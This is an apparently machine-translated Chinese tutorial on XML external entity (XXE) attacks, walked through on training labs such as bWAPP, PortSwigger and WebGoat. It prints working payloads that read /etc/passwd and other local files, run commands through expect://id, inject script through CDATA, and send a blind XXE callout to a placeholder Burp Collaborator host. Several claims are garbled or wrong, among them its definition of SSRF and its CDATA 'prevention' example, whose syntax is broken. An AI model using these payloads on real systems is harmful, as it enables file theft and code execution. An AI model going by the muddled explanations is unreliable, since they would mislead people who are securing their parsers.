XXE简介
XXE是对应用程序执行的一种攻击,以解析其XML输入。在此攻击中,包含对外部实体的引用的XML输入由配置较弱的XML解析器处理。像跨站点脚本(XSS)中一样,我们尝试类似地注入脚本,在此我们尝试插入XML实体以获得重要信息。
它用于声明XML文档的结构,它可以包含的数据值的类型等。DTD可以存在于XML文件中或可以单独定义。它在XML的开头使用<!DOCTYPE>声明。
DTD有几种类型,而我们感兴趣的是外部DTD。外部DTD有两种类型:
SYSTEM:系统标识符使我们能够指定包含DTD声明的外部文件位置
在该XML外部实体中,有效负载被发送到服务器,服务器将数据发送到XML解析器,该解析器解析XML请求并向服务器提供所需的输出。然后,服务器将该输出返回给攻击者。
影响
XML外部实体(XXE)可能对公司或Web开发人员构成严重威胁。XXE一直在OWASP的前十名中。这是很常见的,因为许多网站在字符串和数据传输中都使用XML,如果不采取对策,则会破坏此信息。可能的各种攻击是:
-
服务器端请求伪造
-
DoS攻击
-
远程执行代码
-
跨站脚本
XXE的CVSS分数为7.5,严重程度为“中”,其中–
-
CWE-611:对XML外部实体的不当限制。
-
CVE-2019-12153:本地文件SSRF
-
CVE-2019-12154:远程文件SSRF
-
CVE-2018-1000838:十亿笑声攻击
-
CVE-2019-0340:通过文件上传XXE
进行XXE攻击以执行SSRF:
服务器端请求伪造(SSRF)是一个网络漏洞,黑客可以在其中注入服务器端HTML代码来控制该站点或将输出重定向到攻击者的服务器。SSRF攻击的文件类型为–
本地文件:
这些是网站域上存在的文件,例如robots.txt,server-info等。因此,让我们使用“ bWAPP”以设置为low的级别执行XXE攻击。
现在,我们将启动BurpSuite,并在按下“任何错误”后进行拦截?按钮,我们将在burp上获得以下输出:
我们可以看到没有应用过滤器,因此可以使用XXE,因此我们将其发送到转发器,然后执行攻击。我们将尝试知道哪个字段是易受攻击或可注入的,因为我们可以看到有两个0字段,即login和secret。
因此,我们将对其进行如下测试:
在“转发器”选项卡中,我们将发送默认请求,并在“响应”选项卡中观察输出。
它说“bee’s secret has been reset”,因此登录名似乎可以注入,但让我们通过从蜜蜂更改登录名然后发送请求来进行验证。
现在,我们将再次在“响应”选项卡中观察其输出:
我们得到了“ignite’s secret has been reset” 的输出,因此可以清楚地表明登录名是可注入的。现在我们将执行攻击。
现在,我们知道哪个字段是可注入的,让我们尝试获取robots.txt文件。为此,我们将使用以下有效负载–
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite SYSTEM "http://192.168.1.15/bWAPP/robots.txt">
]>
<reset><login>&ignite;</login><secret>Any bugs?</secret></reset>
了解有效载荷
我们已经声明了一个名为“ reset”的文档类型,然后在其中声明了一个名为“ ignite”的实体。我们正在使用SYSTEM标识符,然后将URL输入到robots.txt。然后在登录时,我们输入“ &ignite;” 获得所需的信息。
插入上面的代码后,我们将单击send并在response选项卡中获得如下所示的输出:
在上面的输出中,我们可以看到robots.txt中存在的所有详细信息。这告诉我们使用XXE可以对本地文件进行SSRF。
因此,现在让我们尝试了解它们的工作原理。首先,我们将注入有效负载,并将其传递给服务器,并且由于不存在避免XXE的过滤器,服务器将请求发送到XML解析器,然后发送已解析的XML文件的输出。在这种情况下,robots.txt是使用XML查询泄露给攻击者的。
远程文件:
这些文件是攻击者注入远程托管的恶意脚本以获取管理员访问权限或重要信息的文件。我们将尝试获取/ etc / passwd,因为我们将输入以下命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite SYSTEM "file:///etc/passwd">
]><reset><login>&ignite;</login><secret>Any bugs?</secret></reset>
按下发送按钮后,输入上述命令后,我们将在passwd文件中反映出该信息!
XXE十亿攻击-DOS
这些针对的是XML解析器,其中格式正确且有效的XML数据在解析时都会破坏系统资源。此攻击也称为XML炸弹或XML DoS或指数实体扩展攻击。
在进行攻击之前,让我们知道为什么它被称为十亿攻击?
“第一次进行此攻击时,攻击者使用lol作为实体数据,并在随后的几个实体中多次调用它。执行过程花费了成倍的时间,其结果是成功的DoS攻击使网站瘫痪。由于使用了lol并多次调用,导致数十亿次请求,因此我们将名称命名为Billion Laugh Attack”
在使用有效负载之前,请先了解一下:
在这种情况下,我们看到在1处我们声明了一个名为“ ignite”的实体,然后在其他几个实体中调用ignite,从而形成了一连串的回调,这将使服务器超载。在2,我们将实体称为&ignite9;。我们将ignite9而不是ignite称为ignite9,因为ignite9多次调用ignite8,并且每次将ignite8称为ignite7被启动,依此类推。因此,该请求将花费大量时间来执行,结果该网站将关闭。
上面的命令导致DoS攻击,我们得到的输出是:
现在,在输入XML命令之后,我们将在响应字段中看不到任何输出,并且无法访问蜂箱,并且蜂箱将关闭。
XXE使用文件上传
XXE可以使用文件上传方法执行。我们将在Port Swigger实验室“通过图像上传利用XXE”中进行演示。我们将使用的有效负载是:
<?XML version="1.0" standalone="yes"?>
<!DOCTYPE reset [
<!ENTITY xxe SYSTEM "file:///etc/hostname"> ] >
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="40" x="0" y="100">&xxe;</text>
</svg>
了解有效负载:我们将制作SVG文件,因为上传区域仅接受图像文件。上面给出了SVG文件的基本语法,其中,我们添加了一个文本字段,
我们将上面的代码保存为“ payload.svg”。现在在portswigger上,我们将继续发布并发表评论,然后将制作的有效负载添加到“头像”字段中。
现在,我们将通过按“发表评论”按钮来发表评论。之后,我们将访问发表评论的帖子,并在评论部分看到我们的评论。
让我们检查其页面来源,以找到我们发布的评论。您会发现与我在下面得到的内容有些相似
我们将单击上面的链接,我们将在新窗口中显示标志,如下所示:
可以通过提交标志来验证这一点,我们将获得成功消息。
了解整个概念:因此,当我们将有效负载上传到头像字段并填充所有其他字段时,我们的评论也会显示在帖子中。检查源文件后,我们获得了文件上传的路径。我们对该字段感兴趣,因为我们的XXE有效负载位于该SVG文件中,并且它将包含我们想要的信息,在这种情况下,我们想要的是“ / etc / domain”。单击该链接后,我们可以看到信息。
XXE到远程代码执行
远程执行代码是一个非常服务器Web应用程序漏洞。这样,攻击者便可以将其恶意代码注入服务器,以获取关键信息。为了演示这种攻击,我使用了XXE LAB。我们将按照以下步骤下载该实验并在我们的Linux机器上运行它:
git clone https://github.com/jbarone/xxelab.git
cd xxelab
vagrant up
在我们的终端中,我们将得到一些类似的输出,如下所示:
现在,一旦准备好可以使用,我们将打开浏览器并输入:http : //192.168.33.10/,我们将看到该站点如下所示:
我们将输入详细信息,并使用Burp Suite拦截请求。在Burp Suite中,我们将看到以下请求:
我们将把这个请求发送给转发器,我们将看到哪个字段是易受攻击的。因此,首先,我们将按原样发送请求并观察“响应”选项卡:
我们可以注意到,我们仅看到电子邮件,因此我们将进一步检查另一个条目,以验证该字段是否为所有字段中的易受攻击者。
从上面的屏幕截图中可以明显看出,电子邮件字段是易受攻击的。现在,我们将输入有效载荷:
<!DOCTYPE root [
<!ENTITY ignite SYSTEM "expect://id"> ]>
<!DOCTYPE root [
<!ENTITY ignite SYSTEM "expect://id"> ]>
让我们在实现有效负载之前先了解一下它:
我们创建了一个名为“ root ”的文档类型,并在其下创建了一个名为“ ignite ”的实体,要求输入“ expect:// id”。如果期望在php页面中被接受,则可以执行远程代码。我们正在获取id,因此在这种情况下使用“ id”。
我们可以看到我们成功获取了uid,gid和组号。这证明在这种情况下,我们的远程代码执行成功。
通过XXE的XSS
如今,我们可以看到脚本被Web应用程序阻止了,因此有一种侵入方法。我们可以使用CDATA的XML来进行这种攻击。在缓解步骤中,我们还将看到CDATA。我们已经使用上面的XXE LAB来执行XSS。因此,我们收到的请求与上次攻击中的请求相同,并且我们知道电子邮件字段易受攻击,因此我们仅将有效负载注入该字段中。我们将使用的有效负载如下:
<![CDATA[<]]>img src="" onerror=javascript:alert(1)<![CDATA[>]]>
<![CDATA[<]]>img src="" onerror=javascript:alert(1)<![CDATA[>]]>
了解有效负载:众所周知,在大多数输入字段中,<和>均被阻止,因此我们将其包含在CDATA中。CDATA是字符数据,并且XML解析器不会解析CDATA中的数据,而是将其粘贴到输出中。
让我们看看这种攻击:
我们将在电子邮件字段之间输入上述命令,并在“响应”选项卡中观察输出。
我们可以看到我们的脚本中嵌入了image标签。我们将右键单击它,然后选择选项“在浏览器中显示响应”
我们将复制上面的链接并将其粘贴到浏览器中,我们将看到一个警告框,显示“ 1”,如下面的屏幕截图所示。
因此,该屏幕截图使我们清楚地知道,我们能够使用XML进行跨站点脚本编写。
JSON和内容处理
JSON是JavaScript Object Notation,它也用于存储和传输XML之类的数据。我们可以将JSON转换为XML,并仍然获得相同的输出以及使用它获得的多汁信息。我们还可以进行内容操作,以使XML可以被接受。我们将为此目的使用WebGoat。在WebGoat中,我们将执行XXE攻击。
我们可以看到被拦截的请求与上面类似。我们将更改其内容类型,并用XML代码替换JSON。我们将使用的XML代码是:
<?xml?>
<!DOCTYPE root [
<!ENTITY ignite SYSTEM "file:///">
]>
<comment>
<text>
&ignite;
</text>
</comment>
我们将观察到我们的评论将与根文件一起发布。
因此,在本文中,我们学习了如何在JSON字段上执行XML注入,以及如何通过操纵XML的内容类型来传递XML。
让我们了解上面发生的事情:
JSON与XML语言相同,因此我们可以使用XML获得与JSON请求相同的输出。在上面,我们看到JSON具有文本值,因此我们用上述有效负载替换了JSON请求并获得了根信息。如果我们没有将其内容类型更改为application / XML,那么我们的XML请求将不会被传递。
XXE盲注
正如我们在上述攻击中所看到的,我们看到了哪个领域是脆弱的。但是,如果我们提供的输入中有不同的输出,则可以为此目的使用Blind XXE。我们将使用portswigger实验室演示Blind XXE。为此,我们将使用仅在BurpSuite专业版中提供的burp合作者。我们正在使用一个名为“通过XML参数实体进行带外交互的Blind XXE ”的实验室。当我们访问实验室时,我们将看到如下页面:
我们将单击“查看详细信息”,然后我们将被重定向到以下页面,在该页面中,我们将拦截“支票存货”请求。
我们将收到如下拦截请求:
我们可以看到,如果我们正常发送请求,我们将获得库存数量。现在,我们将从打p菜单中启动打p协作者,我们将看到以下窗口。
在此,我们将按下“复制到剪贴板”按钮,以复制将在有效负载中使用的burp子域。
我们将使用的有效负载如下:
<!DOCTYPE stockCheck [
<!ENTITY % ignite SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %ignite; ]>
现在,我们将在Burp Collaborator中看到,我们将看到捕获了一些请求,这些请求告诉我们我们已经成功执行了Blind XXE。
我们还将验证我们的发现是正确的,并且我们将在实验室中看到我们已成功解决了该问题。
预防措施
防止XXE的最安全方法始终是完全禁用DTD(外部实体)。根据解析器,该方法应类似于以下内容:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
此外,可以通过禁用DTD来防止DoS攻击。如果无法完全禁用DTD,则必须以特定于每个解析器的方式禁用外部实体和外部文档类型声明。
另一种方法是使用CDATA忽略外部实体。CDATA是字符数据,它提供了解析器未解析的块。
<data><!CDATA [ "'& > characters are ok in here] ]></data>
<data><!CDATA [ "'& > characters are ok in here] ]></data>